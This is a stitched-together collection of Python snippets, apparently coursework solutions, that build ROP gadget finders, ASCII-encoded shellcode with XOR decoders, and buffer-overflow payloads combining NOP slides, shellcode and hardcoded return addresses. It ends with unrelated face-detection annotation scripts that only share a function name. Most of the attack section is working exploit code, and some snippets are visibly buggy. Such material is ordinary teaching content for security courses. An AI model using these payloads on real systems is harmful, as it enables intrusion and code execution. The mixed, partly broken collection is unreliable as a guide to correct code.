def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to # the beginning of the file (for example, 12). # # 2. Don't forget to add the 'RET'. wordToFind = assemble.assemble_data(gadget+"; RET") find = True address = -1 first = 0 while find: address = self.dump.find(wordToFind,(address + 1))#)*first) if(first == 0): first = 1 if address == -1: find = False break; absAddress = self.start_addr + address yield hex(absAddress)[:-1]
def get_shellcode(): '''This function returns the machine code (bytes) of the shellcode. This does not include the size, return address, nop slide or anything else! From this function you should return only the shellcode! ''' q2_shellcode = get_raw_shellcode() # TODO: IMPLEMENT THIS FUNCTION shellcode_length = len( q2_shellcode) # shellcode length doesn't change after encoded_shellcode, indices = encode(q2_shellcode) decoder_shellcode = get_decoder(indices) # print len(decoder_shellcode) # print shellcode_length init_to_esp = "push esp; pop eax;" # init eax as esp value sub_eax = "dec eax;" * ( shellcode_length + 4 ) # subtract from esp shellcode length + 4 bytes of RET # after these two lines eax should contains the value 0xbfffe0e1 which is the beginnig of the shellcode init_eax = init_to_esp + sub_eax init_eax_assm = assemble.assemble_data(init_eax) total_shellcode = init_eax_assm + decoder_shellcode + encoded_shellcode # print [hex(struct.unpack("B", b)[0]) for b in init_eax_assm] return total_shellcode
def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to the # beginning of the file (for example, 12). # 2. Don't forget to add the 'RET' opcode = assemble.assemble_data(gadget + '; RET') import re data = self.dump start = self.start_addr indices = [] #will be there all indexed of substring opcode in data index = 0 while (index < len(data)): #find all substring equals opcode to data index = data.find(opcode, index) if index == -1: break indices.append(index) index += len(opcode) address_list = [] for index in indices: address = start + index address_list.append('%08x' % address) #print('%08x' % address) return address_list
def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to the # beginning of the file (for example, 12). # 2. Don't forget to add the 'RET' addresses = [] offset = 0 gadget_opcodes = assemble.assemble_data(gadget + '; RET') with open(self.path, "rw+b") as lib_c: #string = read(lib_c) #offset = string.find(gadget_opcodes, offset) memmap = mmap.mmap(lib_c.fileno(), 0) offset = memmap.find(gadget_opcodes, offset) while (offset != -1): addresses.append(self.sa + offset) print(hex(addresses[-1])) offset = memmap.find(gadget_opcodes, offset + 1) # offset = string.find(gadget_opcodes, offset+1) return addresses
def get_nop_slide(number_of_nops): #creating the "nop" slide made of inc ecx & dec ecx data = 'inc esi\ndec esi\n' * (number_of_nops / 2) if (number_of_nops % 2 != 0): #if the length of the nop slide is odd add one mroe inc ecx data = data + 'inc esi\n' nop_slide = assemble.assemble_data(data) return nop_slide
def get_payload(): buf_len = 1040 # our return address addr = chr(0x78) + chr(0xde) + chr(0xff) + chr(0xbf) # get encoded shellcode and create list of positions of bytes to xor shellcode = get_shellcode() # list of decoder instructions instructions = [] # put offset to shellcode in eax instructions.append('push esp') instructions.append('pop eax') instructions.append('add eax, 0x50005000') instructions.append('sub eax, 0x50005100') # now eax has esp-256 for i in range(0x100 - len(shellcode) - 4): instructions.append('inc eax') # init ebx instructions.append('xor ebx, ebx') # create mask 0xff and put in ebx instructions.append('dec ebx') last = 0 for b in bytes_to_xor: diff = b - last for i in range(diff): instructions.append('inc eax') instructions.append('xor byte ptr [eax], bl') last = b decoder = ''.join((inst + '\n') for inst in instructions) asm_decoder = assemble.assemble_data(decoder) # make a multiple of 4 nop_len = 4 * ((buf_len - len(asm_decoder) - len(shellcode)) // 4) # our nop is of length 2 thats why we need to divide by 2 # create nop ascii alternative, increment and decrement ascii_nop = assemble.assemble_data('inc ebx\ndec ebx') nop_slide = ascii_nop * (nop_len // 2) # suffix padding, between the end of the shell code and padding_len = buf_len - len(shellcode) - len(asm_decoder) - nop_len # problem can occur if length of padding is odd because our nop is of # length 2 padding = 'p' * padding_len message = ''.join([nop_slide, asm_decoder, shellcode, padding, addr]) payload = network_order_uint32(len(message)) + message print(len(payload)) return payload
def get_payload(): buf_len = 1040 # our return address addr = chr(0x78) + chr(0xde) + chr(0xff) + chr(0xbf) # get encoded shellcode and create list of positions of bytes to xor shellcode = get_shellcode() # list of decoder instructions instructions = [] # put offset to shellcode in eax instructions.append('push esp') instructions.append('pop eax') # now eax has esp for i in range(len(shellcode) + 4): instructions.append('dec eax') # init ebx instructions.append('push 0') instructions.append('pop ebx') # create mask 0xff and put in ebx instructions.append('dec ebx') last = 0 for b in bytes_to_xor: diff = b - last for i in range(diff): instructions.append('inc eax') instructions.append('xor byte ptr [eax], bl') last = b decoder = ''.join((inst + '\n') for inst in instructions) asm_decoder = assemble.assemble_data(decoder) # make a multiple of 4 nop_len = buf_len - len(asm_decoder) - len(shellcode) # our nop is of length 2 thats why we need to divide by 2 # create nop ascii alternative, increment and decrement nop_slide = '' # if nop slide length is odd, we add one byte nop if (nop_len % 2 != 0): nop_slide += assemble.assemble_data('inc ebx\n') nop_len -= 1 ascii_nop = assemble.assemble_data('inc ebx\ndec ebx') nop_slide += ascii_nop * (nop_len // 2) # suffix padding, between the end of the shell code and message = ''.join([nop_slide, asm_decoder, shellcode, addr]) payload = network_order_uint32(len(message)) + message # print(len(payload)) return payload
def find_all(self, gadget): # open dump file dump_file = open(self.dump_path, 'r') # put contents of file in dump dump = dump_file.read() dump = assemble.assemble_data('inc eax; ret') dump += assemble.assemble_data('inc ebx') dump += assemble.assemble_data('inc ecx; ret') # construct gadget with ret which we want to search gadget_asm = assemble.assemble_data(gadget + '; ret') positions = [] # construct list with all positions relative to start addr of gadget index = 0 while (index < len(dump)): index = dump.find(gadget_asm, index) if index == -1: break positions.append(self.start_addr + index) index += len(gadget_asm) # close file dump_file.close() return positions
def get_payload(): totalMsgLen = 1040 # not including return address addr = chr(0x78) + chr(0xde) + chr(0xff) + chr(0xbf) shellcode = get_shellcode() nop = assemble.assemble_data("nop") nopLen = totalMsgLen - len(shellcode) nopSlide = nop * nopLen # suffix padding, between the end of the shell code and # our return address paddingLen = totalMsgLen - len(shellcode) - nopLen padding = nop * paddingLen message = ''.join([nopSlide, shellcode, padding, addr]) payload = network_order_uint32(len(message)) + message return payload
def get_decoder(length, pos): # push esp # pop eax ;eax now holds the end address of the encoded shellcode # dec eax ;|shellcode| + 4 times # push 0 # pop ebx # dec ebx # inc eax ;pos[i] times where i is the ith encoded byte # xor byte ptr [eax], bl ; repeat |shellcode| times data = 'push esp\npop eax\n' + 'dec eax\n' * 4 + 'push 0\npop ebx\ndec ebx\n' + 'dec eax\n' * length for i in range(len(pos)): data = data + 'inc eax\n' * (pos[i]) + 'xor byte ptr [eax], bl\n' decoder = assemble.assemble_data(data) return decoder
def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to # the beginning of the file (for example, 12). # # 2. Don't forget to add the 'RET'. opcode = assemble.assemble_data(gadget + '; RET') indices = [i for i in self.find_all_helper(opcode, self.dump)] return [self.start_addr + index for index in indices]
def get_decoder(indices): '''Return the assembled decoder code.''' # TODO: IMPLEMENT THIS FUNCTION create_ff = "push 0; pop ebx; dec ebx;" # insert into ebx the value ff with only ascii chars init_edx = "push 0; pop edx;" # initiate edx to zero decoder_assembly = create_ff + init_edx current_value = 0 for i in indices: index_diff = i - current_value # this is how much we should increment edx for current i vaule inc = "inc eax;" * index_diff # do as much increment as needed xr = "xor byte ptr [eax], BL;" # then, perform the decoding decoder_assembly += inc + xr # update our decoder code current_value += index_diff # update current edx value decoder = assemble.assemble_data(decoder_assembly) # assemble our code return decoder
def assemble_pnet_anno_files(cfg, mode='train'): net_size = config.MODEL.PNET_SIZE pnet_postive_file = os.path.join(cfg.DATA.mtcnn_anno_path, 'pos_{}_{}.txt'.format(net_size, mode)) pnet_part_file = os.path.join(cfg.DATA.mtcnn_anno_path, 'part_{}_{}.txt'.format(net_size, mode)) pnet_neg_file = os.path.join(cfg.DATA.mtcnn_anno_path, 'neg_{}_{}.txt'.format(net_size, mode)) imglist_filename = os.path.join(cfg.DATA.mtcnn_anno_path, 'imglist_anno_{}_{}.txt'.format(net_size, mode)) anno_list = [] anno_list.append(pnet_postive_file) anno_list.append(pnet_part_file) anno_list.append(pnet_neg_file) # anno_list.append(pnet_landmark_file) chose_count = assemble.assemble_data(imglist_filename, anno_list) print("PNet train annotation result file path:%s" % imglist_filename)
def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to # the beginning of the file (for example, 12). # # 2. Don't forget to add the 'RET'. haystack = self.dump needle = assemble.assemble_data(gadget + '\nret') return find_indexes(needle, haystack, self.start_addr)
def get_payload(): '''This function returns the data to send over the socket to the server. This includes everything - the 4 bytes for size, the nop slide, the shellcode and the return address. ''' total_size = 1040 #Size of the payload not including the first 4 bytes shellcode = get_shellcode() number_of_nops = total_size - len( shellcode) #Calculate the size of the nop slide ra = 0xbfffde0e + int( number_of_nops / 2 ) #land in the middle of nopslide, for testing on debug used static vlaue of 0xbfffde0e + 450 = 0xbfffdfd0 nop_slide = 'nop\n' * (number_of_nops) #creating the nop slide payload = assemble.assemble_data(nop_slide) + shellcode + str( struct.pack('<L', ra)) return str(struct.pack('>L', len(payload))) + payload
def find_all(self, gadget): """ Return all the addresses of the gadget inside the memory dump. Example: self.find_all('POP eax') => < all ABSOLUTE addresses in memory of 'POP eax; RET' > """ # Notes: # # 1. Addresses are ABSOLUTE (for example, 0x08403214), NOT RELATIVE to # the beginning of the file (for example, 12). # # 2. Don't forget to add the 'RET'. gadget_with_ret = gadget + '; RET' assembled_gadget = assemble.assemble_data(gadget_with_ret) # tranform to bytes from the assembly code # use re moudle to search in the dump file. add the offset to base address to get absolut addresses gadget_addresses = [hex(g.start() + self.start_addr)[:-1] for g in re.finditer(re.escape(assembled_gadget), self.dump)] return gadget_addresses
import os import config import assemble as assemble if __name__ == '__main__': anno_list = [] # pnet_landmark_file = os.path.join(config.ANNO_STORE_DIR,config.RNET_LANDMARK_ANNO_FILENAME) pnet_postive_file = os.path.join(config.ANNO_STORE_DIR, config.RNET_POSTIVE_ANNO_FILENAME) pnet_part_file = os.path.join(config.ANNO_STORE_DIR, config.RNET_PART_ANNO_FILENAME) pnet_neg_file = os.path.join(config.ANNO_STORE_DIR, config.RNET_NEGATIVE_ANNO_FILENAME) anno_list.append(pnet_postive_file) anno_list.append(pnet_part_file) anno_list.append(pnet_neg_file) # anno_list.append(pnet_landmark_file) imglist_filename = config.RNET_TRAIN_IMGLIST_FILENAME anno_dir = config.ANNO_STORE_DIR imglist_file = os.path.join(anno_dir, imglist_filename) chose_count = assemble.assemble_data(imglist_file, anno_list) print "PNet train annotation result file path:%s" % imglist_file
anno_list.append(pnet_pos_file) anno_list.append(pnet_part_file) anno_list.append(pnet_neg_file) anno_list_test.append(pnet_pos_file_test) anno_list_test.append(pnet_part_file_test) anno_list_test.append(pnet_neg_file_test) anno_list_val.append(pnet_pos_file_val) anno_list_val.append(pnet_part_file_val) anno_list_val.append(pnet_neg_file_val) imglist_filename = config.PNET_TRAIN_IMGLIST_FILENAME anno_dir = config.ANNO_STORE_DIR imglist_file = os.path.join(anno_dir, imglist_filename) imglist_filename_test = config.PNET_TRAIN_IMGLIST_FILENAME_TEST anno_dir_test = config.ANNO_STORE_DIR imglist_file_test = os.path.join(anno_dir, imglist_filename_test) imglist_filename_val = config.PNET_TRAIN_IMGLIST_FILENAME_VALID anno_dir_val = config.ANNO_STORE_DIR imglist_file_val = os.path.join(anno_dir, imglist_filename_val) chose_count = assemble.assemble_data(imglist_file, anno_list) chose_count_test = assemble.assemble_data(imglist_file_test, anno_list_test) chose_count_val = assemble.assemble_data(imglist_file_val, anno_list_val) print('PNet train annotation result file path: {}'.format(imglist_file)) print('PNet test annotation result file path: {}'.format(imglist_file_test)) print('PNet valid annotation result file path: {}'.format(imglist_file_val))